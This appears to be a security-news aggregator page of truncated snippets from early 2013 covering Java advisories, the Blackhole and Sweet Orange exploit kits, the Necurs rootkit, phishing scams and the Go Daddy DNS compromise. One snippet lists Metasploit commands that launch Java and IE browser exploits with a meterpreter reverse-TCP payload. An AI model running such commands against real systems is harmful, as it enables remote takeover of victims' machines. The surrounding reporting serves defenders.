CentOS 5 / 6 : java-1.7.0-openjdk (CESA-2013:0165)

Updated java-1.7.0-openjdk packages that fix two security issues are now available for Red Hat Enterprise Linux 5 and 6. The Red Hat Security Response Team has rated this update as having important security impact. Common Vulnerability Scoring System CVSS base scores, which give detailed severity...

RHEL 5 / 6 : java-1.7.0-oracle (RHSA-2013:0156)

Updated java-1.7.0-oracle packages that fix two security issues are now available for Red Hat Enterprise Linux 5 and 6 Supplementary. The Red Hat Security Response Team has rated this update as having critical security impact. Common Vulnerability Scoring System CVSS base scores, which give...

Critical: Red Hat Security Advisory: java-1.7.0-oracle security update

Updated java-1.7.0-oracle packages that fix two security issues are now available for Red Hat Enterprise Linux 5 and 6 Supplementary. The Red Hat Security Response Team has rated this update as having critical security impact. Common Vulnerability Scoring System CVSS base scores, which give...

ADP-Themed Phishing Emails Lead to Blackhole Sites

Scammers are spamming out malicious emails purporting to come from payroll processing company ADP, according Dancho Danchev of Webroot. The emails arrive under the subject line “ADP Immediate Notifications” and contain links to compromised websites hosting the latest iteration of the Blackhole...

The New Year initial, Java break first 0day-vulnerability warning-the black bar safety net

1 1: The 0 0 UPDATE: MSF has been updated related to penetration testing module use exploit/windows/browser/iecbuttonuaf use exploit/multi/browser/javajre17jmxbean set SRVHOST 192.168.178.26 set TARGET 1 set PAYLOAD windows/meterpreter/reversetcp set LHOST 192.168.178.26 exploit sysinfo getuid Mo...

Exploit Packs updated with New Java Zero-Day vulnerability

A new Java 0-day vulnerability has been discovered, already wind in use by an exploit pack, taking advantage of a fresh zero-day vulnerability in Java and potentially letting hackers take over users' machines. Java 7 Update 10 and earlier contain an unspecified vulnerability that can allow a...

Exploit Packs updated with New Java Zero-Day vulnerability

A new Java 0-day vulnerability has been discovered, already wind in use by an exploit pack, taking advantage of a fresh zero-day vulnerability in Java and potentially letting hackers take over users’ machines. Java 7 Update 10 and earlier contain an unspecified vulnerability that can allow a...

New Apache Exploit Doling Out Zeus, Sweet Orange Exploit Kit

UPDATE – A new Apache module, Linux/Chapro.A, is making the rounds, injecting malicious content including a popular Zeus variant into web pages. The module was discussed in a blog on ESET’s Threat Blog by the company’s Security intelligence Program Manager, Pierre-Marc Bureau. According to the...

Sweet Orange Exploit Kit Offers Customers Higher Infection Rates

The newly emerging Sweet Orange Exploit Kit boasts a 10 to 25 percent infection rate and is promising to drive 150,000 unique visitors per day to the websites of its customers, according to Jeff Doty and Chris Larsen of Blue Coat Security. If the claims of Sweet Orange’s authors reflect reality, ...

Necurs Rootkit infect 83,427 machines in November

Rootkit named as "Necurs" infect 83,427 unique machines during the month of November 2012. It is a multi-purpose rootkits capable of posing a threat to both 32 and 64-bit Windows systems. Distributed via drive-by download on the websites that host the BlackHole exploit kit. Like other rootkits it...

Necurs Rootkit Infections Way Up

Infections from a nasty bit of malware, generally delivered by the Black Hole Exploit Kit, surged in November, hitting more than 83,000 machines. Microsoft’s Malware Protection Center rates the Necurs rootkit threat as severe. Dubbed a rootkit by Kaspersky Lab, Necurs has many dimensions to it...

Chrome Playing Hard to Get with Blackhole Exploit Kit

Google’s Chrome browser is something of a tough customer for the infamous and widely deployed Blackhole Exploit Kit, according to Blue Coat security researcher, Adnan Shukor. Shukor notes there has been an uptick in the kit’s use of plain HTML files, instead of iframes, to redirect users to explo...

Phony T-Mobile, Vodaphone Notifications Duping U.K. Users

Cybercriminals in the United Kingdom this week have launched two separate but similar scams intent on gaining access to users’ computers. Both scams impersonate e-mail notifications from popular British cell phone companies and both ultimately open a backdoor on the targeted computers. E-mail...

IBM WebSphere MQ 7.1 / 7.5 Multiple Vulnerabilities

The version of IBM WebSphere MQ server is version 7.1 without Fix Pack 7.1.0.2 or 7.5 without Fix Pack 7.5.0.1. It is, therefore, affected by the following vulnerabilities : - A flaw exists in Global Security Kit GSkit due to a failure to properly validate data when the 'protection mechanism' is...

IBM WebSphere MQ 7.0 / 7.1 / 7.5 Global Security Toolkit Vulnerabilities

The version of IBM WebSphere MQ server is version 7.0 without Fix Pack 7.0.1.9, 7.1 without Fix Pack 7.1.0.2 or 7.5 without Fix Pack 7.5.0.1. It is, therefore, affected by the following vulnerabilities : - A flaw exists in Global Security Kit GSkit due to a failure to properly validate data when...

Go Daddy Attributes DNS Hack to Phishing

A spokesman at Go Daddy, the popular domain registrar and Web host company, believes that some of its users may have been phished – and that’s to blame for the barrage of ransomware some customers have been seeing in past week or so. Last week it was reported that attackers had placed malicious D...

Fake Facebook Alert Emails Link to Black Hole Sites

Attackers are sending spoofed “pending notification” emails to Facebook users, claiming that the recipients overlooked some alert on the world’s largest social network, and providing them with a link that supposedly leads to the allegedly neglected content but which, in reality, funnels users to ...

Go Daddy Sites Serve Up Ransomware Malware

Domain name registrar and website hosting provider Go Daddy is responding to a DNS attack targeting a "small number" of its hosted websites that one security firm said is enabling cyber criminals to spread ransomware. The DNS Domain Name System is what transfers host-names into IP addresses,...

Critical: Red Hat Security Advisory: java-1.4.2-ibm security update

Updated java-1.4.2-ibm packages that fix several security issues are now available for Red Hat Enterprise Linux 5 Supplementary. This is the last update of these packages for Red Hat Enterprise Linux 5 Supplementary. The Red Hat Security Response Team has rated this update as having critical...

CTF365 – Capture The Flag – Next Generation

Prepare your tools, build your team, defend your country and conquer the World. It is well known that the best way to learn security is hands on. It's the kind of experience you earn in pentest labs or CTF competitions based on challenges or defensive and offensive security and it's aimed at...